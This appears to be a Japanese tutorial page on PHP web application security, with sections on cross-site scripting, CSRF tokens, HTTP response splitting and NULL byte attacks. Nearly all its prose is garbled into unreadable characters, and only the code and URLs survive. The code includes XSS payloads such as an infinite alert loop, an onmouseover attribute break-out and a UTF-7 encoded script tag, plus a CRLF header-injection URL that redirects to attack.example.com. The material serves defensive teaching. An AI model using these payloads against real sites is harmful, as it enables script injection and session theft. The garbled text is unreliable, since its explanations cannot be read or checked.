PHP �� Web ���ץꥱ�������Υ������ƥ��ˤĤ��ƤΥ��

HOME | ������ | LastUpdate: 2011-02-27

���Υڡ����ˤĤ��Ƥ����������դʤ�

PHP �ϡ�Apache �⥸�塼��䡢CGI�����ޥ�ɥ饤��Ȥ��ƻ��ѤǤ��륹����ץȸ���Ǥ������Υڡ����Ǥϡ���� PHP �ˤ����롢Web ���ץꥱ�������Υ������ƥ�����ˤĤ��ƤޤȤ�Ƥ��ޤ���

Web ���ץꥱ�������Υ������ƥ�����Ȥ��Ƥϡ��ʲ�������ˤĤ��Ƥ褯���󤲤��Ƥ���Ȼפ��ޤ����������Υ������ƥ�����ˤĤ���Ĵ�٤����Ȥ䡢�����ʳ��Ǥ⡢PHP �˴�Ϣ���Ƥ��륻�����ƥ�����ˤĤ����ΤäƤ��뤳�ȤˤĤ��ƥ�⤷�Ƥ����ޤ���

�ޤ���PHP �ޥ˥奢�� : �������ƥ��䡢PHP Security Guide (PHP Security Consortium) �ˤϡ�PHP �DZƶ���������ǽ���Τ���¿���Υ������ƥ�����ˤĤ��Ƥβ��⤬����ޤ����ޤ���PHP �ˤĤ��Ƥβ����¿���Ϥ���ޤ��󤬡�����Ū�ʥ������ƥ�����ؤ��к��Ȥ������˻��ͤˤʤ������奢���ץ�����ߥ󥰹ֺ��Ȥ��������� IPA �����������Ƥ��ޤ���PHP ����Ѥ����硢�ä� Web �ץ�����ޥ������ˤĤ����ɤळ�Ȥ򤪴��ᤷ�ޤ����ޤ��������奢���ץ�����ߥ󥰹ֺ� ��2�����������Ƥ��ޤ���

���ҤȤ��Ƥϡ�PHP �����С��ƥ��ε�ˡ - ������ɸ�μº��פ� 2005.11.22 ��ȯ�䤵��Ƥ��ޤ���PHP ����Ѥ��� Web ���ץꥱ�������ȯ�����դ��٤��������ƥ�����Τ��줾��ˤĤ��ƾܤ����񤫤�Ƥ��ꡢ���˻��ͤˤʤ���Ҥ��Ȼפ��ޤ����ޤ��������ܤ����ԤǤ����ƣ���󤫤�������Υڡ����򻲹ͤˤ����Ȥ����ݤ�Ϣ���򤤤������ޤ����������ܤǤϤ��Υڡ����ǽ񤤤Ƥ��뤳�ȤΤۤȤ�ɤ����夵��Ƥ��ޤ���

�ޤ������ѡ��ե�����PHP��(ȯ����:2010.11.12)�ϡ�PHP �δ��ܵ�ǽ��饤�֥�ꡢ�ե졼���������Ǥʤ���Web ���ץꥱ������󥻥����ƥ��ˤĤ��Ƥ�ܤ�����갷�äƤ��ޤ����������ƥ�����ʬ��ô�����줿��������ˤϡ����å����ϥ�����å��к��Υե��󥬡��ץ��ȤΥ����å��򻲹ͤˤ��Ƥ����������Ȥ���Ϣ���򤤤������ޤ�����

���η�Ū�˳ؤ� ������Web���ץꥱ�������κ���� - �ȼ��������ޤ�븶�����к��μ�����(ȯ����:2011.03.01)�ˤϡ���ӥ奢���ΰ�ͤȤ��ơ����ä����Ƥ��������ޤ��������ν��ҤǤϡ��ȼ����θ������餽�β����ˡ�ޤǡ���ǫ����������Ƥ��ޤ��������ȥ��̤ꡢ�η�Ū�� Web ���ץꥱ������󥻥����ƥ��ˤĤ��Ƴؤ֤ˤϺ�Ŭ�ν��Ҥ��Ȼפ��ޤ������ҤΥ�ӥ塼��ˤϡ����Ԥ����ݤ��󤪤�ӡ�¾�Υ�ӥ奢����������¿���Τ��Ȥ�ؤФ��Ƥ��������ޤ������ɤ��⤢�꤬�Ȥ��������ޤ�����

�⤷�����Υڡ����򸫤ơ�����������æ�����ְ㤤��¾�ˤ�ܤ��������ɤ�����ʤɤ�����ޤ����顢�᡼���Ƕ����Ƥ���������

�����餯�������ǤޤȤ᤿�������ƥ��к������ǤϽ�ʬ�Ȥϸ����ޤ��󤷡��ٶ���­�Τ��ᡢ�ܤ��������Ǥ��Ƥ��ʤ��ϰϤ���­���ְ㤤�ʤɤ⤢��Ȼפ��ޤ��������ͤˤʤ�ޤ����鹬���Ǥ���

�ɲù��ܤ��ѹ����ˤĤ��Ƥϡ����������򻲾Ȥ��Ƥ���������


�ܼ�

  1. ���Υڡ����ˤĤ��Ƥ����������դʤ�
  2. �����������ȥ�����ץƥ���
    1. �����������ȥ�����ץƥ��󥰤ˤĤ���
    2. ���ڥ�����
    3. �н���ˡ
    4. ����
    5. �����������ȥ�����ץƥ����к��� strip_tags() ����Ѥ���Ȥ�������
    6. ʸ�������ɤ� UTF-7 ����Ѥ��������������ȥ�����ץƥ���
    7. ���ͥ�����
  3. CSRF(�����������ȥꥯ�����ȥե���������: Cross-Site Request Forgeries)
    1. CSRF �ˤĤ���
    2. �н���ˡ
    3. ���ͥ�����
  4. HTTP �쥹�ݥ�ʬ�乶��(HTTP Response Splitting Attack)
    1. HTTP �쥹�ݥ�ʬ�乶��ˤĤ���
    2. ���ڥ�����
    3. �н���ˡ
    4. ����
    5. ���ͥ�����
  5. NULL �Х��ȹ���(NULL Byte Attack)
    1. NULL �Х��ȹ���(NULL Byte Attack)�ˤĤ���
    2. ���ڥ�����
    3. �н���ˡ
    4. ����¾
    5. ���ͥ�����
  6. Email �إå������󥸥��������(Email header injection)
    1. ����
    2. ���ڥ�����
    3. �н���ˡ
    4. ����
    5. ���ͥ�����
  7. PHP �� include(), require() ��Ϣ������ˤĤ���
    1. ����
    2. ���ڥ�����
    3. �н���ˡ
    4. ����Τ���ѥ����ȥ�С������к�
    5. allow_url_fopen �� Off �ˤ����н�ˤĤ��Ƥ�����
    6. allow_url_include
    7. PHP �Υ�����ɾ���ؿ��Ǥ�����ˤĤ���
    8. ���ͥ�����
  8. PHP �ǥ��å�����ѿ���Cookie ����Ѥ���ݤΥ������ƥ��к��ˤĤ���
    1. ���å�����ѿ��ˤĤ���
    2. PHP �Υ��å���������ư��
      1. ���å����γ���
      2. ���å����ν�λ
      3. ���å�����ͭ������
      4. �����١��������쥯�����
    3. Cookie �� secure °��
    4. Cookie Path
    5. ���å���� ID ���ѹ�
    6. ���å���󡦥����ॢ���Ȥؤ��н�
    7. ���å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ�������
    8. ���å����ϥ�����å��к��ΰ���
    9. Session Fixation(���������)����
      1. Session Fixation ����򵯤�����ˡ
      2. ���ͥ�����
    10. ���ͥ�����
  9. �ե����륢�åץ����ɤˤĤ���
    1. PHP �ǤΥե����륢�åץ����ɽ���
    2. .php �Ǥʤ���ĥ�ҤǤ� PHP ���¹Ԥ��������
    3. PHP 4.3.8 ������Ǥ�դξ��˥ե�����򥢥åץ����ɤ�����ǽ������������
    4. PHP 4.1.1 �����ΥС������˥ե����륢�åץ����ɽ����˥������ƥ��ۡ��뤬��������
  10. register_globals �˴ؤ�������
    1. register_globals �ˤĤ���
    2. register_globals �� On �δĶ��Ǥ� Off ��Ʊ�ͤξ��֤ˤ�����ˡ
    3. $GLOBALS �ѿ��˴ؤ��륻�����ƥ�����
  11. PHP ����Ѥ��Ƥ��뤳�Ȥ��ä���
    1. PHP ���ä���ɬ����
    2. PHP ������
    3. Apache ������
    4. ���ͥ�����
  12. �������ƥ�����θ���� php.ini ������
    1. php.ini ������
    2. ���ͥ��
  13. PHP ����𤵤�Ƥ���Х����������ƥ�����
    1. ���ͥ�����
    2. PHP Trailing Slash "open_basedir" Security Bypass
    3. PHP Safedir Restriction Bypass Vulnerabilities
    4. Path Disclosure and PHP
    5. PHP 4.1.2 ���� PHP 4.3.9 �� PHP 5.0.1 �����˥���꡼���򵯤���
    6. PHP CURL "open_basedir" Security Bypass Vulnerability
    7. PHP memory_limit remote vulnerability
    8. PHP strip_tags() bypass vulnerability
    9. Cross-site Scripting in PHP's Transparent Session ID Support
    10. PHP 4.3.2 �� sprintf() �� printf() �˥Х�
    11. PHP 4.3.0 ���� PHP 4.3.2 �Υ����ե⡼�ɤ˥Х�
    12. PHP 4.3.0 �� CGI �Ǥ˥Х�
  14. ���ͥ�����
  15. ��������

�����������ȥ�����ץƥ���

  1. �����������ȥ�����ץƥ��󥰤ˤĤ���
  2. ���ڥ�����
  3. �н���ˡ
  4. ����
  5. �����������ȥ�����ץƥ����к��� strip_tags() ����Ѥ���Ȥ�������
  6. ʸ�������ɤ� UTF-7 ����Ѥ��������������ȥ�����ץƥ���
  7. ���ͥ�����

a. �����������ȥ�����ץƥ��󥰤ˤĤ���

�����������ȥ�����ץƥ���(XSS ��ɽ������뤳�Ȥ�¿���褦�Ǥ�)�ϡ�������������Ϥ� Javascript �� VBScript �ʤɤ��ޤޤ�Ƥ������ˡ�����ʸ����ν��ϻ��˥��������׽�����ԤäƤ��ʤ����Ȥ������ǵ���������Ǥ���

�ºݤ����Ƥ�ʣ���ʤΤǤ��������դΤ���桼���ˤ�ꡢ�ڡ������ Javascript �ʤɤ������ޤ��ȡ������ɽ������¾�Υ桼���Υ֥饦���ǥ�����ץȤ��¹Ԥ���ޤ�������ˤ�ꡢ���Υڡ�����ɽ�������桼���Υ֥饦��������å��夵�����롢���å���� ID ����ޤ�롢¾�Υ����Фؤι���򤵤������ǽ��������ޤ���

�Ϥκǽ�� | �ܼ���

b. ���ڥ�����

PHP �Ǥϡ��ʲ��Τ褦�ˡ�GET �� POST ���ѿ��򤽤Τޤ޽��Ϥ�����������Ȥʤ�ޤ���

...

<form method="post" action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>">
̾�� : <input name="user" type="text" />
       <input type="submit" name="submit" value="���" />
</form>

<?php if ( ! empty( $_POST['user'] ) ) : ?>
<div> ̾�� : <?php echo $_POST['user'] ?></div>
<?php endif ?>

...

��ʤ������ɤ��Ǥ������ƥ����ȥܥå����˰ʲ��Τ褦�� Javascript �����Ϥ���ȡ��֥饦�������顼�ȥܥå�����Ф�³�����桼�����֥饦�������Ǥ��ʤ��褦�ˤʤ�ޤ���

<script>while(1){ alert( 'test' ); }</script>

¾�ˤ⡢���ߤ� Cookie ��������ơ��̤Υ����Ф��Ϥ��ʤɤȤ������˴����ʥ����ɤ�¹Ԥ����뤳�Ȥ��ǽ�Ǥ�������ϡ�����åԥ󥰥����ȤʤɤθĿ;���򰷤������ȤǤ����硢�ʤꤹ�ޤ��ʤɤ��Ԥ����ǽ��������ޤ���

�Ϥκǽ�� | �ܼ���

c. �н���ˡ

HTML �Ȥ��ƽ��Ϥ������Ƥ��ѿ���������ؿ��η�̤��Ф��ơ�htmlspecialchars() ���̤��ƽ��Ϥ���С��ۤȤ�ɤΥ����������ȥ�����ץƥ��󥰤ϲ���Ǥ��ޤ����տ�Ū�˥�����ޤ�ƽ��Ϥ�����ʳ��ϡ�����˱������н��ԤäƤ���������

PHP �Ǥϡ�htmlspecialchars() �� strip_tags() �Ȥ����ؿ����Ѱդ���Ƥ��ޤ��������䤽�ι������ǤȤ���ǧ�������ʸ����(<, >, &, ") ��ɽ�����������ϡ�htmlspecialchars() �򡢥�������ʬ�������������� strip_tags() ����Ѥ��ޤ���

�Ŀ�Ū�ˤϡ������������ȥ�����ץƥ����к��Ǥ� strip_tags() ���� htmlspecialchars() ����Ѥ��뤳�Ȥ򤪴��ᤷ�ޤ�����ͳ�Ȥ��Ƥϡ���"�פ��&�פ� htmlspecialchars() �ˤ�륨��ƥ��ƥ��Ѵ��ǥ��������פǤ��ޤ�����strip_tags() �Ǥϡ������γ��� ��"�פ��&�פ��ޤޤ�Ƥ�����硢���Τޤ޽��Ϥ��Ƥ��ޤ�����Ǥ���

<div> ̾�� : <?php echo htmlspecialchars( $_POST['user'] ) ?></div>

������°���ͤ��'�פdz�äƤ����硢htmlspecialchars() ����2������ ENT_QUOTES ������Ƥ���ɬ�פ�����ޤ���

<a href='<?php echo htmlspecialchars( $str, ENT_QUOTES ) ?>'>url</a>;

�ޤ���htmlspecialchars() �ˤϡ���3�����Ȥ��ơ�ʸ�������ɤ����Ǥ��ޤ��Τǡ�ʸ�������ɴ�Ϣ���������򤹤뤿��˻��ꤷ�����������Ǥ�����󡢤����Τ褦�ˡ�htmlspecialchars() �ΰ�������ꤹ��Τ����ݤǤ��Τǡ�echo ������˰ʲ��Τ褦�ʴؿ���������ƽ��Ϥ������Ƥ��ѿ���Ŭ�Ѥ�����ɤ��Ȼפ��ޤ���

<?php
function echo_html( $str )
{
    echo htmlspecialchars( $str, ENT_QUOTES, 'UTF-8' );
}
?>
<a href="<?php echo_html( $url ) ?>"><?php echo_html( $title ) ?></a>

�ʾ�Υ��������׽����ϥǡ��������ϻ��ǤϤʤ���HTML ����Ϥ�����˹Ԥ�ʤ���Фʤ�ʤ��Ȥ���Ƥ��ޤ��������Ű�줷�Ƥ����С�PHP ������ץȤ���������Ť˥��������׽�����ԤäƤ��ޤä��ꡢ���������פ�˺�줿�ꤹ��褦���������򤷤䤹���ʤ�ޤ���

�����������ȥ�����ץƥ��󥰤β��⵭���Ǥ褯�������������ϥǡ��������å���̩�ˡפȤ���ɽ�����顤��3��(1)�ե�������ջ��Υ����ߥ󥰤ǥ��˥������󥰤�Ԥ��Τ��Ȼפ������Ǥ��롣���˥������󥰤�(2)HTML�������Υ����ߥ󥰤ǹԤ��٤��Ǥ��롣���ϡ֥����������ȥ�����ץƥ����к��ξܺ١פ��������뤬���ǡ�����������HTML���ʸ̮�˹�碌��Ŭ�ڤʥ��˥������󥰼�ˡ�����򤹤�ɬ�פ����뤫��Ǥ��롣�ޤ��Ǽ��Ĥ���Ǥϡ�����Ū�˥ǡ����١����ؤε����ν񤭹��߼��ʤȤ��ơ��᡼��ˤ����Ƥ�Ƴ�����줿���Ǥ⡤(2)HTML�������Υ����ߥ󥰤ǥ��˥������󥰤��Ƥ���С��ʤ����ä��뤳�Ȥʤ�������������ϸ������������Ǥ���ǡ�����ϳ��ʤ����˥������󥰤Ǥ��롣�ޤ���Ʊ���ǡ����˸��ä�2��ʾ奵�˥������󥰤��ƥǡ����ΰ�̣���Ѥ�äƤ��ޤ��Ȥ����߷׾�Υȥ�֥���ɤ��롣

���Τ褦�˥��˥������󥰤Υ����ߥ󥰤�(1)�ե�������ջ��ǤϤʤ���(2)HTML�������Ǥʤ���Фʤ�ʤ�������ʸ����Understanding Malicious Content Mitigation for Web Developers�٤Ǥ�HTML�������Υ��˥������󥰤�侩���Ƥ��롣

�����奢�ץ�����ߥ󥰹ֺ� �裱�ϡ������奢Web�ץ�����ߥ� [1-2.]�����������ȥ�����ץƥ����֥��˥������󥰤Υ����ߥ󥰤� HTML ��������

�Ϥκǽ�� | �ܼ���

d. ����

�ʲ��Τ褦�ʤ��Ȥ�Ԥä���硢�嵭���к��Ǥ��Խ�ʬ�ˤʤ�ޤ���

�Ϥκǽ�� | �ܼ���

e. �����������ȥ�����ץƥ����к��� strip_tags() ����Ѥ���Ȥ�������

strip_tags() �ϥ����������ȥ�����ץƥ����к��Ȥ��ƻ��Ѥ���ˤ��Խ�ʬ�Ǥ���strip_tags() ����Ѥ�����ϡ�¾����ˡ���Ȥ߹�碌���н��ԤäƤ����������ʲ������꤬����ޤ���

PHP �ޥ˥奢��Ǥϴ��˽������줿�褦�Ǥ�����PHP �ޥ˥奢��� ���å��������ؿ�(session)����ǡ��������ʲ��Τ褦�˽񤫤�Ƥ��ޤ������ʲ��ν����ϥ����������ȥ�����ץƥ����к��ˤʤ�ޤ����Τǡ����դ��Ƥ���������

�� 5. ñ��Υ桼�����˴ؤ���ҥåȿ��������

<?php
if (!session_is_registered('count')) {
    session_register('count');
    $count = 1;
} else {
    $count++;
}
?>

����ˤ��ϡ����ʤ������Υڡ������褿�Τ�<?php echo $count; ?>���ܤǤ��͡� <p>

³����ˤϡ�<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">�����򥯥�å�</A>���Ʋ�������

XSS �˴ط����빶����ɻߤ��뤿��� SID ����Ϥ���ݤˡ�strip_tags()����Ѥ��ޤ���

PHP �ޥ˥奢��: ���å��������ؿ�(session) ���� 5

�ʲ�����ʬ�Ǥ�����SID �ˤϡ�Ǥ�դ�ʸ���������ǽ�������뤿�ᡢ�����������ȥ�����ץƥ����к���Ԥ�ɬ�פ�����ޤ�������ϡ�strip_tags() �ϥ��֥륳���ơ������������ʤ����ᡢ���������׽�������򤹤뤳�Ȥ���ǽ�Ǥ���Ȥ������Ǥ���

<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">

�㤨�С�SID �˰ʲ���ʸ�������äƤ�����硢Javascript �μ¹Ԥϲ�ǽ�Ǥ���

" onmouseover="alert();

������Ǥϡ������ϰʲ��Τ褦�ˤʤꡢ��󥯤ξ�˥ޥ������֤��ȡ�Javascript ���¹Ԥ���ޤ���

<A HREF="nextpage.php?" onmouseover="alert();">

�֥饦������Υꥯ�����Ȥ�Ԥ��ݤˤϡ��ʲ��Τ褦�˻��ꤹ�뤳�Ȥˤʤ�ޤ���

http://www.example.com/session.php?PHPSESSID="%20onmouseover="alert();"

������н褹��Τϴ�ñ�ǡ�strip_tags() �ǤϤʤ���htmlspecialchars() ����Ѥ��ޤ���

<A HREF="nextpage.php?<?php echo htmlspecialchars(SID) ?>">

�����ϰʲ��Τ褦�ˤʤꡢJavascript �ϼ¹Ԥ���ޤ���

<A HREF="nextpage.php?&quot; onmouseover=&quot;alert();&quot;">

���ʤ��Ȥ⡢�����������Ǥϡ�htmlspecialchars() ����Ѥ������������Ǥ�����������������ξ��Τ褦�ˡ�urlencode() ������Ŭ�ڤʤ��Ȥ⤢��ޤ���

¾�ˤ⡢strip_tags() �ˤ���2��������ꤹ�뤳�Ȥ��Ǥ���������Ԥ�ʤ����������Ǥ��ޤ��������ξ�硢��������������������� Javascript �Υ����ɤ��ޤޤ�Ƥ�����硢�¹Ԥ���Ƥ��ޤ���ǽ��������ޤ��������������ȥ�����ץƥ����к��Ȥ��ơ�strip_tags() ����Ѥ���ΤϤ��Ƥ����������ɤ��Ȼפ��ޤ���

�Ϥκǽ�� | �ܼ���

f. ʸ�������ɤ� UTF-7 ����Ѥ��������������ȥ�����ץƥ���

ʸ�������ɤ� UTF-7 �ξ�硢htmlspecialchars() �Ǥϥ����Υ��������פ��Ǥ��ʤ��Ȥ������꤬��𤵤�Ƥ��ޤ���

�㤨�С�"<script>alert('test');</script>" �Ȥ���ʸ����� UTF-7 ���Ѵ�����Ȱʲ��Τ褦ɽ������ޤ���

+ADw-script+AD4-alert('test')+ADsAPA-/script+AD4-

���Τ褦��ʸ���󤬽��Ϥ��졢�֥饦���μ�ưǧ����ʸ�������ɤ� UTF-7 �Ǥ����Ƚ�ꤵ��롢�ޤ��ϼ�ư��ʸ�������ɤ� UTF-7 �����ꤹ��ȥ����������ȥ�����ץƥ��󥰤��������ޤ���

�ʲ��Υ����ɤ� Google XSS Example (Chris Shiflett: The PHP Blog) �ǷǺܤ���Ƥ��������ɤ򾯤��ѹ�������ΤǤ�����ʸ�������ɤ� UTF-7 �ξ�硢htmlspecialchars() �䡢htmlentities() �ؿ��Ǥϥ����򥨥������פǤ��ʤ����Ȥ�ʬ����ޤ���

<?php
header( 'Content-Type: text/html; charset=UTF-7' );
$string = "<script>alert('XSS');</script>"; 
$string = mb_convert_encoding( $string, 'UTF-7' );
echo htmlspecialchars( $string ); 
?>

��������ؤ��н�Ȥ��Ƥϡ�HTTP �쥹�ݥ󥹥إå�������Ū��ʸ�������ɤ���ꤷ�ơ��֥饦���μ�ưȽ�̵�ǽ��ư����ʤ��Ȥ�����ˡ���󤲤��ޤ���PHP �Ǥ� header() �ؿ�����Ѥ�������Ū��ʸ�������ɤ����Ǥ��ޤ�����Ȥ��ơ�EUC-JP �ǽ��Ϥ��Ƥ�����ϡ��ʲ��Τ褦�ˤ��ޤ���

header( 'Content-Type: text/html; charset=EUC-JP' );

���ϻ���ʸ�������ɤμ�ư�Ѵ���ǽ(mbstring.encoding_translation)��ͭ���ˤ��Ƥ�����ϡ�PHP ����ưŪ��ʸ�������ɤ���Ϥ��Ƥ���ޤ��Τǡ����ξ�������Ū�˥إå�����Ϥ���ɬ�פϤʤ����⤷��ޤ���

�Ϥκǽ�� | �ܼ���

g. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


CSRF(�����������ȥꥯ�����ȥե���������: Cross-Site Request Forgeries)

  1. CSRF �ˤĤ���
  2. �н���ˡ
  3. ���ͥ�����

a. CSRF �ˤĤ���

CSRF ������Υ����Ȥ������Υ桼���θ��¤��Ѥ��ơ������Υ桼�����տޤ��Ƥ��ʤ��������������빶��Ǥ��������Υ桼�������륵���Ȥ˥������󤷤����֤ǡ�����Ԥ����Υ����Ȥ˱ƶ���Ϳ����̿���¹Ԥ����뤳�Ȥ�տޤ����̤� URI ��ͶƳ���뤳�Ȥ�ȯ�����ޤ���Session Riding �ȸƤФ�뤳�Ȥ⤢��褦�Ǥ���

�����������ȥ�����ץƥ��󥰤�ʻ�Ѥ��ƹԤ��뤳�Ȥ�¿���褦�Ǥ���������Ū�ˤ�̵�ط��Ǥ����������������������ȥ�����ץƥ��󥰤���ǽ�ʾ�硢CSRF �������ɤ����ȤϤǤ��ޤ���

CSRF �ˤĤ��Ƥϡ�CSRF - �����������ȥꥯ�����ȥե���������(hoshikuzu | star_dust �ν��) �˻��ͥ����Ȥ��ޤȤޤäƤ��ꡢ���˻��ͤˤʤ�ޤ���

�Ϥκǽ�� | �ܼ���

b. �н���ˡ

��ȯ�ԤΤ����������CSRF�к������˻��ͤˤʤ�ޤ������Υڡ����Ρ������� CSRF �к��פ򻲹ͤˤ����н��Ԥ����ɤ��Ȼפ��ޤ����ʲ���4�Ĥ���ˡ���󤲤��Ƥ��ޤ���

PHP �Ǥμ�����Ȥ��ơ�������֤��Ȥ˥ȡ�������ڤ��ؤ��� CSRF ���ɻߤ�����ˡ��ͤ��Ƥߤޤ����������� CSRF ���ɻߤ��뤳�Ȥ��ݾڤ��ޤ��󤬡��ȡ�����Ȥ���ư���Ȼפ��ޤ���

<?php
class Token
{
    var $ttl;
    var $name;

    function Token( $name = 'tokens', $ttl = 1800 )
    {
        // CSRF ���Хȡ��������ͭ������(��)
        // �Ǿ����¤Ϥ����ͤ� 1/2 (1800 �ξ��ϡ�900�ô֤Ϻ����ݻ������)
        $this->ttl = (int)$ttl;

        // ���å�������Ͽ����ȡ����������̾��
        $this->name = $name;
    }

    /**
     * �ȡ����������
     */
    function createToken()
    {
        $curr = time();
        $tokens = isset( $_SESSION[$this->name] ) ? $_SESSION[$this->name] : array();
        foreach ( $tokens as $id => $time ) {
            // ͭ�������ڤ�ξ��ϥꥹ�Ȥ�����
            if ( $time < $curr - $this->ttl ) {
                unset( $tokens[$id] );
            }
            else {
                $uniq_id = $id;
            }
        }
        if ( count( $tokens ) < 2 ) {
            if ( ! $tokens || ( $curr - (int)( $this->ttl / 2 ) ) >= max( $tokens ) ) {
                $uniq_id = sha1( uniqid( rand(), TRUE ) );
                $tokens[$uniq_id] = time();
            }
        }
        // �ꥹ�Ȥ򥻥å�������Ͽ
        $_SESSION[$this->name] = $tokens;
        return $uniq_id;
    }

    /**
     * ���å����Υꥹ�Ȥ˥ȡ�����¸�ߤ����ȡ�����ͭ��������ξ��� FALSE ���֤�
     */
    function isCSRF( $token )
    {
        $tokens = $_SESSION[$this->name];
        if ( isset( $tokens[$token] ) && $tokens[$token] > time() - $this->ttl ) {
            return FALSE;
        }
        return TRUE;
    }
}
?>

(2008.05.11 ����)

�嵭�����ɤ� isCSRF() �᥽�åɤ��֤��ͤ��ְ�äƤ��ޤ����Τǡ��������ޤ����������Ȥ˽񤫤�Ƥ���Τȵդ�ư��ˤʤäƤ��ޤ�������Ŧ���Ƥ������ä� yu-ki ���󡢤ɤ��⤢�꤬�Ȥ��������ޤ�����

�ͤ����Ȥ��Ƥϡ��ʲ����̤�Ǥ����֥饦����ʣ���Υڡ����򳫤��Ƥ������Ǥ⡢������ְ���˥ڡ����ν񤭴���������С����å������³�Ǥ��ޤ���

�ʲ��Τ褦�˻��Ѥ��ޤ���

<?php
session_start();
$token =& new Token()

if ( isset( $_POST['command'] ) ) {    // CSRF ������å�����ɬ�פΤ�������ξ��
    if ( empty( $_POST['token'] ) || $token->isCsrf( $_POST['token'] ) ) {
        // CSRF �����Ф��줿���������ڤ�ξ��ν���
        trigger_error( 'CSRF or timeout' );
        exit;
    }
    // $_POST['command'] ����Ѥ�������
}
$token_id = $token->createToken();

?>
...
<input type="hidden" name="token" value="<?php htmlspecialchars( $token_id, ENT_QUOTES ) ?>" />
...

�Ϥκǽ�� | �ܼ���

c. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


HTTP �쥹�ݥ�ʬ�乶��(HTTP Response Splitting Attack)

  1. HTTP �쥹�ݥ�ʬ�乶��ˤĤ���
  2. ���ڥ�����
  3. �н���ˡ
  4. ����
  5. ���ͥ�����

a. HTTP �쥹�ݥ�ʬ�乶��ˤĤ���

PHP �ˤϡ��֥饦�����Ф��� HTTP �쥹�ݥ󥹥إå�����������ؿ�������ޤ�(header(), setcookie() �ؿ��ʤ�) �֥饦���ϡ�HTTP �쥹�ݥ󥹥إå���������ȡ��������Ƥ˱�����������Ԥ��ޤ���

Web ���ץꥱ�������ȯ�Ԥ� header() �ؿ��ʤɤˡ�������������Ϥ���Ѥ��Ƥ�����硢Ŭ�ڤʽ�����ԤäƤ��ʤ��ȡ������� HTTP �쥹�ݥ󥹥إå�����Ϥ������Ƥ��ޤ���ǽ��������ޤ���

HTTP �쥹�ݥ󥹥إå��������˲��⤵���ȡ�Location: ... �� Set-Cookie: ... �ʤɡ�Ǥ�դΥإå�����Ϥ������Ƥ��ޤ����Ȥˤʤ�ޤ������ˤ�äƤϡ����˴����ʹ��⤬��ǽ�ˤʤ�ޤ��Τǡ���ʬ���н��Ԥ�ɬ�פ�����ޤ���

�Ϥκǽ�� | �ܼ���

b. ���ڥ�����

�㤨�С��̤Υ����Ф˥�����쥯�Ȥ�Ԥ��ʲ��Τ褦�ʥ�����ץȤ�����Ȥ��ޤ���

if ( ! empty( $_GET['id'] ) ) {
    $id = $_GET['id'];
    header( 'Location: http://contents.example.com/' . $id . '/' );
}

�ʲ��Τ褦�ʥꥯ�����Ȥ����뤳�Ȥǡ�����Ԥ�Ǥ�դ� HTTP �쥹�ݥ󥹥إå����ɲäǤ��ޤ���

http://www.example.com/redirect.php?test=a%0d%0aLocation:%20http://attack.example.com/

���ι�����ˡ����Ѥ���ȡ�Ǥ�դΥ����Ф�ͶƳ������������Ǥʤ���Cookie �����Ƥ���������(���å����ϥ�����å��䵡̩�������ޤ��)��Cookie �����Ƥξ��(���å�������ʤ�)��Proxy �����Ф���ӡ���������ˤ����륭��å�������ʤɤ���ǽ�ˤʤ�ޤ���

�Ϥκǽ�� | �ܼ���

c. �н���ˡ

2�̤���н���ˡ������ޤ���

�Ϥκǽ�� | �ܼ���

d. ����

PHP 5.0.0 ���� PHP 5.1.1 �ޤǤΥС������Ǥϡ����å����ǽ�� HTTP �쥹�ݥ�ʬ����ȼ��������뤳�Ȥ���𤵤�Ƥ��ޤ�������ϡ�PHP �����å���� ID �򤽤Τޤ� HTTP �쥹�ݥ󥹥إå��� Set-Cookie �ե�����ɤ˻��Ѥ��Ƥ��ޤ����Ȥ������Ǥ���

����αƶ��������С���������Ѥ��Ƥ�����ϡ�Hardened-PHP Project ���������Ƥ��� Patch ��Ŭ�Ѥ��Ʊ��Ѥ��뤫���ǿ��ΥС���������Ѥ��뤳�ȤǤ�������αƶ������Ǥ��ޤ���

PHP ������ץ�¦�Ǥ��н���ˡ�Ȥ��Ƥϡ�session.use_only_cookies ��ͭ���ˤ��Ʊ��Ѥ��롢�ޤ��ϡ�session_start() �θ��ɬ�� session_regenerate_id() ��¹Ԥ���Ȥ�����ˡ���ͤ����ޤ���

�Ϥκǽ�� | �ܼ���

e. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


NULL �Х��ȹ���(NULL Byte Attack)

  1. NULL �Х��ȹ���(NULL Byte Attack)�ˤĤ���
  2. ���ڥ�����
  3. �н���ˡ
  4. ����¾
  5. ���ͥ�����

a. NULL �Х��ȹ���(NULL Byte Attack)�ˤĤ���

NULL �Х���("\x00" �� "\0" �Ȥ���ɽ����� C ����ǤϽ�üʸ������Ƥ���ʸ����) �ˤ��ƶ��ˤ�ꡢ��ư��θ����Ȥʤ�����Ǥ���

PHP �˸¤�ޤ��󤬡��ѿ��˥Х��ʥ�ǡ������ޤޤ�Ƥ�����Ǥ⡢�����������Ǥ���Х��ʥꥻ���դδؿ��ȥХ��ʥ�ǡ������ޤޤ�Ƥ�����硢�����������Ǥ��ʤ���ǽ��������Х��ʥꥻ���դǤʤ��ؿ�������ޤ����Х��ʥꥻ���դǤʤ��ؿ��� NULL �Х��Ȥ��ޤޤ�Ƥ�����硢ʸ����ν�λ�Ȥߤʤ��Ƥ��ޤ����ᡢNULL �Х��Ȥθ���˥ǡ��������ä����Ǥ������λ���Ƥ��ޤ��ޤ�������ˤ�ꡢ������ץȤǰտޤ��Ƥ��ʤ��ä�ư��Ȥʤ��ǽ��������ޤ���

�ܤ����ϼ������ڥ��������������ޤ�����NULL �Х��Ȥ�����ϱƶ��������ؿ���¿�����͡�������������������ǽ��������ޤ��������å���Ԥ�ʤ���������ȡ��ʲ��ξ������ƤϤޤä���硢�տޤ��Ƥ��ʤ��ä�ư��Ȥʤ��ǽ�����⤯�ʤ�ޤ���

  1. �Х��ʥꥻ���դδؿ������ϥ����å���Ԥ����Х��ʥꥻ���դǤʤ��ؿ�����Ѥ���������Ԥä����

  2. �Х��ʥꥻ���դǤʤ��ؿ������ϥ����å���Ԥ����Х��ʥꥻ���դδؿ�����Ѥ���������Ԥä����

